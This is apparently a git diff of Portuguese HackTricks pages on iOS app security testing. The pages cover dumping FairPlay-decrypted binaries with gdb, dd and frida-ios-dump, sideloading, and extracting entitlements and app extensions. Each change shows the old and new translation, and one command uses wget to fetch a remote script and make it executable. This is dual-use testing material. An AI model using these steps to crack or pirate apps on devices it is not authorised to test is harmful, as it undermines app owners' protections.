### **Extraindo o Binário do App**
1. **De um IPA:** Descompacte o IPA para acessar o binário do aplicativo descriptografado.
2. **De um Dispositivo com Jailbreak:** Instale o aplicativo e extraia o binário descriptografado da memória.
1. **De um IPA:** Descompacte o IPA para acessar o binário do app descriptografado.
2. **De um Dispositivo Jailbroken:** Instale o app e extraia o binário descriptografado da memória.
### **Processo de Descriptografia**
**Visão Geral da Descriptografia Manual:** Os binários de aplicativos iOS são criptografados pela Apple usando o FairPlay. Para fazer engenharia reversa, é necessário extrair o binário descriptografado da memória. O processo de descriptografia envolve verificar a flag PIE, ajustar as flags de memória, identificar a seção criptografada e, em seguida, extrair e substituir essa seção por sua forma descriptografada.
**Visão Geral da Descriptografia Manual:** Os binários de apps iOS são criptografados pela Apple usando FairPlay. Para fazer engenharia reversa, é necessário despejar o binário descriptografado da memória. O processo de descriptografia envolve verificar a flag PIE, ajustar as flags de memória, identificar a seção criptografada e, em seguida, despejar e substituir essa seção por sua forma descriptografada.
**Verificando e Modificando a Flag PIE:**
```bash
@ -102,16 +103,16 @@ otool -Vh Original_App
python change_macho_flags.py --no-pie Original_App
otool -Vh Hello_World
```
**Identificação da Seção Criptografada e Despejo de Memória:**
**Identificando a Seção Criptografada e Despejando a Memória:**
Determine o início e o fim dos endereços da seção criptografada usando `otool` e faça o despejo da memória do dispositivo com jailbreak usando gdb.
Determine os endereços de início e fim da seção criptografada usando `otool` e despeje a memória do dispositivo com jailbreak usando gdb.
```bash
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
dump memory dump.bin 0x8000 0x10a4000
```
**Sobrescrevendo a Seção Criptografada:**
**Substituindo a Seção Criptografada:**
Substitua a seção criptografada no binário do aplicativo original pelo despejo descriptografado.
Substitua a seção criptografada no binário original do aplicativo pelo despejo descriptografado.
```bash
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
```
@ -120,20 +121,20 @@ dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
### **Descriptografia (Automaticamente)**
#### **frida-ios-dump**
A ferramenta [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) é utilizada para **descriptografar e extrair aplicativos automaticamente** de dispositivos iOS. Inicialmente, é necessário configurar o `dump.py` para se conectar ao dispositivo iOS, o que pode ser feito através do localhost na porta 2222 via **iproxy** ou diretamente através do endereço IP e porta do dispositivo.
A ferramenta [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) é utilizada para **descriptografar e extrair aplicativos automaticamente** de dispositivos iOS. Inicialmente, é necessário configurar o `dump.py` para se conectar ao dispositivo iOS, o que pode ser feito através do localhost na porta 2222 via **iproxy** ou diretamente pelo endereço IP do dispositivo e porta.
As aplicações instaladas no dispositivo podem ser listadas com o comando:
Os aplicativos instalados no dispositivo podem ser listados com o comando:
```bash
$ python dump.py -l
```
Para fazer dump de um aplicativo específico, como o Telegram, o seguinte comando é utilizado:
Para despejar um aplicativo específico, como o Telegram, o seguinte comando é usado:
```bash
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
```
Este comando inicia o despejo do aplicativo, resultando na criação de um arquivo `Telegram.ipa` no diretório atual. Este processo é adequado para dispositivos com jailbreak, pois aplicativos não assinados ou falsamente assinados podem ser reinstalados usando ferramentas como [**ios-deploy**](https://github.com/ios-control/ios-deploy).
#### **flexdecrypt**
A ferramenta [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), juntamente com seu wrapper [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), permite a extração de arquivos IPA de aplicativos instalados. Os comandos de instalação para o **flexdecrypt** no dispositivo incluem o download e a instalação do pacote `.deb`. O **flexdump** pode ser usado para listar e despejar aplicativos, conforme mostrado nos comandos abaixo:
A ferramenta [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), junto com seu wrapper [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), permite a extração de arquivos IPA de aplicativos instalados. Os comandos de instalação para **flexdecrypt** no dispositivo incluem o download e a instalação do pacote `.deb`. **flexdump** pode ser usado para listar e despejar aplicativos, conforme mostrado nos comandos abaixo:
```bash
apt install zip unzip
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
@ -141,35 +142,33 @@ flexdump list
flexdump dump Twitter.app
```
#### **bagbak**
[**bagbak**](https://github.com/ChiChou/bagbak), outra ferramenta baseada em Frida, requer um dispositivo com jailbreak para descriptografia de aplicativos:
[**bagbak**](https://github.com/ChiChou/bagbak), outra ferramenta baseada em Frida, requer um dispositivo com jailbreak para a descriptografia de aplicativos:
```bash
bagbak --raw Chrome
```
#### **r2flutch**
**r2flutch**, utilizando tanto o radare quanto o frida, serve para descriptografar e extrair aplicativos. Mais informações podem ser encontradas em sua [**página do GitHub**](https://github.com/as0ler/r2flutch).
**r2flutch**, utilizando tanto radare quanto frida, serve para descriptografar e despejar aplicativos. Mais informações podem ser encontradas na sua [**página do GitHub**](https://github.com/as0ler/r2flutch).
### **Instalando Aplicativos**
**Sideloading** refere-se à instalação de aplicativos fora da App Store oficial. Esse processo é gerenciado pelo **daemon installd** e requer que os aplicativos sejam assinados com um certificado emitido pela Apple. Dispositivos com jailbreak podem contornar isso através do **AppSync**, permitindo a instalação de pacotes IPA falsamente assinados.
**Sideloading** refere-se à instalação de aplicativos fora da App Store oficial. Este processo é gerenciado pelo **installd daemon** e requer que os aplicativos sejam assinados com um certificado emitido pela Apple. Dispositivos com jailbreak podem contornar isso através do **AppSync**, permitindo a instalação de pacotes IPA falsamente assinados.
#### **Ferramentas de Sideloading**
- **Cydia Impactor**: Uma ferramenta para assinar e instalar arquivos IPA no iOS e arquivos APK no Android. Guias e solução de problemas podem ser encontrados em [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
- **Cydia Impactor**: Uma ferramenta para assinar e instalar arquivos IPA no iOS e arquivos APK no Android. Guias e soluções de problemas podem ser encontradas em [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
- **libimobiledevice**: Uma biblioteca para Linux e macOS para se comunicar com dispositivos iOS. Comandos de instalação e exemplos de uso para ideviceinstaller são fornecidos para instalar aplicativos via USB.
- **ipainstaller**: Esta ferramenta de linha de comando permite a instalação direta de aplicativos em dispositivos iOS.
- **ios-deploy**: Para usuários do macOS, o ios-deploy instala aplicativos iOS a partir da linha de comando. Descompactar o IPA e usar a flag `-m` para o lançamento direto do aplicativo fazem parte do processo.
- **ios-deploy**: Para usuários de macOS, ios-deploy instala aplicativos iOS a partir da linha de comando. Descompactar o IPA e usar a flag `-m` para lançamento direto do aplicativo fazem parte do processo.
- **Xcode**: Utilize o Xcode para instalar aplicativos navegando até **Window/Devices and Simulators** e adicionando o aplicativo em **Installed Apps**.
#### **Permitir a Instalação de Aplicativos em Dispositivos Não-iPad**
Para instalar aplicativos específicos para iPad em dispositivos iPhone ou iPod touch, o valor **UIDeviceFamily** no arquivo **Info.plist** precisa ser alterado para **1**. Essa modificação, no entanto, requer a reassinatura do arquivo IPA devido às verificações de validação de assinatura.
**Nota**: Este método pode falhar se o aplicativo exigir capacidades exclusivas de modelos de iPad mais recentes ao usar um iPhone ou iPod touch mais antigo.
- **Xcode**: Utilize o Xcode para instalar aplicativos navegando até **Window/Devices and Simulators** e adicionando o aplicativo a **Installed Apps**.
#### **Permitir Instalação de Aplicativos em Dispositivos que Não São iPad**
Para instalar aplicativos específicos para iPad em dispositivos iPhone ou iPod touch, o valor **UIDeviceFamily** no arquivo **Info.plist** precisa ser alterado para **1**. No entanto, essa modificação requer a re-assinatura do arquivo IPA devido às verificações de validação de assinatura.
**Nota**: Este método pode falhar se o aplicativo exigir capacidades exclusivas de modelos mais novos de iPad enquanto usa um iPhone ou iPod touch mais antigo.
## Referências
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
@ -178,16 +177,17 @@ Para instalar aplicativos específicos para iPad em dispositivos iPhone ou iPod
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# Extraindo Entitlements de um Aplicativo Compilado
# Extraindo Direitos de Aplicação Compilada
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
Resumo da página [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
### **Extraindo Entitlements e Arquivos de Provisão Móvel**
### **Extraindo Direitos e Arquivos de Provisão Móvel**
Ao lidar com um arquivo IPA de um aplicativo ou um aplicativo instalado em um dispositivo com jailbreak, pode não ser possível encontrar arquivos `.entitlements` ou o arquivo `embedded.mobileprovision` diretamente. No entanto, listas de propriedades de entitlements ainda podem ser extraídas do binário do aplicativo, seguindo os procedimentos descritos no capítulo "Teste de Segurança Básica do iOS", particularmente na seção "Adquirindo o Binário do Aplicativo".
Ao lidar com o IPA de um aplicativo ou um aplicativo instalado em um dispositivo com jailbreak, pode não ser possível encontrar arquivos `.entitlements` ou o arquivo `embedded.mobileprovision` diretamente. No entanto, listas de propriedades de direitos ainda podem ser extraídas do binário do aplicativo, seguindo os procedimentos descritos no capítulo "Teste de Segurança Básica do iOS", particularmente na seção "Adquirindo o Binário do Aplicativo".
Mesmo com binários criptografados, certas etapas podem ser empregadas para extrair esses arquivos. Caso essas etapas falhem, ferramentas como Clutch (se compatível com a versão do iOS), frida-ios-dump, ou utilitários similares podem ser necessários para descriptografar e extrair o aplicativo.
Mesmo com binários criptografados, certos passos podem ser empregados para extrair esses arquivos. Caso esses passos falhem, ferramentas como Clutch (se compatível com a versão do iOS), frida-ios-dump ou utilitários similares podem ser necessários para descriptografar e extrair o aplicativo.
#### **Extraindo o Plist de Entitlements do Binário do Aplicativo**
#### **Extraindo o Plist de Direitos do Binário do Aplicativo**
Com o binário do aplicativo acessível em um computador, o **binwalk** pode ser utilizado para extrair todos os arquivos XML. O comando abaixo demonstra como fazer isso:
Com o binário do aplicativo acessível em um computador, **binwalk** pode ser utilizado para extrair todos os arquivos XML. O comando abaixo demonstra como fazer isso:
```bash
$ binwalk -e -y=xml ./Telegram\ X
@ -34,19 +35,34 @@ DECIMAL HEXADECIMAL DESCRIPTION
1430180 0x15D2A4 XML document, version: "1.0"
1458814 0x16427E XML document, version: "1.0"
```
Alternativamente, **radare2** pode ser usado para executar silenciosamente um comando e sair, procurando todas as strings no binário do aplicativo que contêm "PropertyList":
Alternativamente, **radare2** pode ser usado para executar um comando silenciosamente e sair, procurando por todas as strings no binário do aplicativo que contêm "PropertyList":
```bash
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
```
Ambos métodos, binwalk e radare2, permitem a extração de arquivos `plist`, com uma inspeção do primeiro (0x0015d2a4) revelando uma recuperação bem-sucedida do [arquivo de direitos originais do Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
Ambos os métodos, binwalk e radare2, permitem a extração de arquivos `plist`, com uma inspeção do primeiro (0x0015d2a4) revelando uma recuperação bem-sucedida do [arquivo de permissões original do Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
Para binários de aplicativos acessados em dispositivos com jailbreak (por exemplo, via SSH), o comando **grep** com a flag `-a, --text` pode ser usado para tratar todos os arquivos como texto ASCII:
```bash
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
```
Ajustar a bandeira `-A num, --after-context=num` permite exibir mais ou menos linhas. Este método é viável mesmo para binários de aplicativos criptografados e foi verificado em vários aplicativos da App Store. As ferramentas mencionadas anteriormente também podem ser usadas em dispositivos iOS com jailbreak para fins semelhantes.
Ajustar a flag `-A num, --after-context=num` permite a exibição de mais ou menos linhas. Este método é viável mesmo para binários de aplicativos criptografados e foi verificado em vários aplicativos da App Store. Ferramentas mencionadas anteriormente também podem ser empregadas em dispositivos iOS com jailbreak para fins semelhantes.
**Nota**: O uso direto do comando `strings` não é recomendado para esta tarefa devido às suas limitações em encontrar informações relevantes. Em vez disso, é aconselhável empregar o grep com a bandeira `-a` no binário ou utilizar o radare2 (`izz`)/rabin2 (`-zz`) para obter resultados mais eficazes.
**Nota**: O uso direto do comando `strings` não é recomendado para esta tarefa devido às suas limitações em encontrar informações relevantes. Em vez disso, é aconselhável empregar grep com a flag `-a` no binário ou utilizar radare2 (`izz`)/rabin2 (`-zz`) para resultados mais eficazes.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,60 +1,61 @@
# Extensões de Aplicativos iOS
# iOS App Extensions
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
As extensões de aplicativos aprimoram a funcionalidade dos aplicativos, permitindo que eles interajam com outros aplicativos ou o sistema, fornecendo recursos ou conteúdo personalizado. Essas extensões incluem:
As extensões de aplicativos aprimoram a funcionalidade dos aplicativos, permitindo que interajam com outros aplicativos ou com o sistema, fornecendo recursos ou conteúdo personalizados. Essas extensões incluem:
- **Teclado Personalizado**: Oferece um teclado único em todos os aplicativos, substituindo o teclado padrão do iOS.
- **Compartilhar**: Permite compartilhar em redes sociais ou com outras pessoas diretamente.
- **Teclado Personalizado**: Oferece um teclado exclusivo em todos os aplicativos, substituindo o teclado padrão do iOS.
- **Compartilhar**: Permite compartilhar em redes sociais ou com outros diretamente.
- **Hoje (Widgets)**: Fornece conteúdo ou realiza tarefas rapidamente a partir da visualização Hoje do Centro de Notificações.
Quando um usuário interage com essas extensões, como compartilhar texto de um aplicativo hospedeiro, a extensão processa essa entrada dentro de seu contexto, aproveitando as informações compartilhadas para realizar sua tarefa, conforme detalhado na documentação da Apple.
Quando um usuário interage com essas extensões, como compartilhar texto de um aplicativo host, a extensão processa essa entrada dentro de seu contexto, aproveitando as informações compartilhadas para realizar sua tarefa, conforme detalhado na documentação da Apple.
### **Considerações de Segurança**
Aspectos de segurança chave incluem:
Os principais aspectos de segurança incluem:
- As extensões e seus aplicativos contêineres se comunicam via comunicação entre processos, não diretamente.
- O **widget Hoje** é único, pois pode solicitar que seu aplicativo seja aberto por um método específico.
- Extensões e seus aplicativos contidos se comunicam via comunicação entre processos, não diretamente.
- O **widget Hoje** é único, pois pode solicitar que seu aplicativo seja aberto por meio de um método específico.
- O acesso a dados compartilhados é permitido dentro de um contêiner privado, mas o acesso direto é restrito.
- Certas APIs, incluindo HealthKit, são proibidas para extensões de aplicativos, que também não podem iniciar tarefas de longa duração, acessar a câmera ou o microfone, exceto para extensões do iMessage.
- Certas APIs, incluindo HealthKit, estão fora dos limites para extensões de aplicativos, que também não podem iniciar tarefas de longa duração, acessar a câmera ou o microfone, exceto para extensões do iMessage.
### Análise Estática
#### **Identificando Extensões de Aplicativos**
Para encontrar extensões de aplicativos no código-fonte, pesquise por `NSExtensionPointIdentifier` no Xcode ou inspecione o pacote do aplicativo em busca de arquivos `.appex` que indicam extensões. Sem o código-fonte, use grep ou SSH para localizar esses identificadores dentro do pacote do aplicativo.
Para encontrar extensões de aplicativos no código-fonte, procure por `NSExtensionPointIdentifier` no Xcode ou inspecione o pacote do aplicativo em busca de arquivos `.appex` que indiquem extensões. Sem o código-fonte, use grep ou SSH para localizar esses identificadores dentro do pacote do aplicativo.
#### **Tipos de Dados Suportados**
Verifique o arquivo `Info.plist` de uma extensão para `NSExtensionActivationRule` para identificar os tipos de dados suportados. Essa configuração garante que apenas os tipos de dados compatíveis acionem a extensão nos aplicativos hospedeiros.
Verifique o arquivo `Info.plist` de uma extensão para `NSExtensionActivationRule` para identificar os tipos de dados suportados. Essa configuração garante que apenas tipos de dados compatíveis acionem a extensão em aplicativos host.
#### **Compartilhamento de Dados**
O compartilhamento de dados entre um aplicativo e sua extensão requer um contêiner compartilhado, configurado via "Grupos de Aplicativos" e acessado por meio de `NSUserDefaults`. Este espaço compartilhado é necessário para transferências em segundo plano iniciadas por extensões.
O compartilhamento de dados entre um aplicativo e sua extensão requer um contêiner compartilhado, configurado via "Grupos de Aplicativos" e acessado através de `NSUserDefaults`. Esse espaço compartilhado é necessário para transferências em segundo plano iniciadas por extensões.
#### **Restringindo Extensões**
Os aplicativos podem restringir certos tipos de extensões, especialmente teclados personalizados, garantindo que o manuseio de dados sensíveis esteja alinhado com os protocolos de segurança.
Os aplicativos podem restringir certos tipos de extensões, particularmente teclados personalizados, garantindo que o manuseio de dados sensíveis esteja alinhado com os protocolos de segurança.
### Análise Dinâmica
A análise dinâmica envolve:
- **Inspecionar Itens Compartilhados**: Conecte-se a `NSExtensionContext - inputItems` para ver os tipos de dados compartilhados e suas origens.
- **Identificar Extensões**: Descubra quais extensões processam seus dados observando mecanismos internos, como `NSXPCConnection`.
- **Inspecionando Itens Compartilhados**: Intercepte `NSExtensionContext - inputItems` para ver tipos de dados e origens compartilhados.
- **Identificando Extensões**: Descubra quais extensões processam seus dados observando mecanismos internos, como `NSXPCConnection`.
Ferramentas como `frida-trace` podem ajudar a entender os processos subjacentes, especialmente para aqueles interessados nos detalhes técnicos da comunicação entre processos.
@ -62,16 +63,17 @@ Ferramentas como `frida-trace` podem ajudar a entender os processos subjacentes,
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Separação de Privilégios e Sandbox
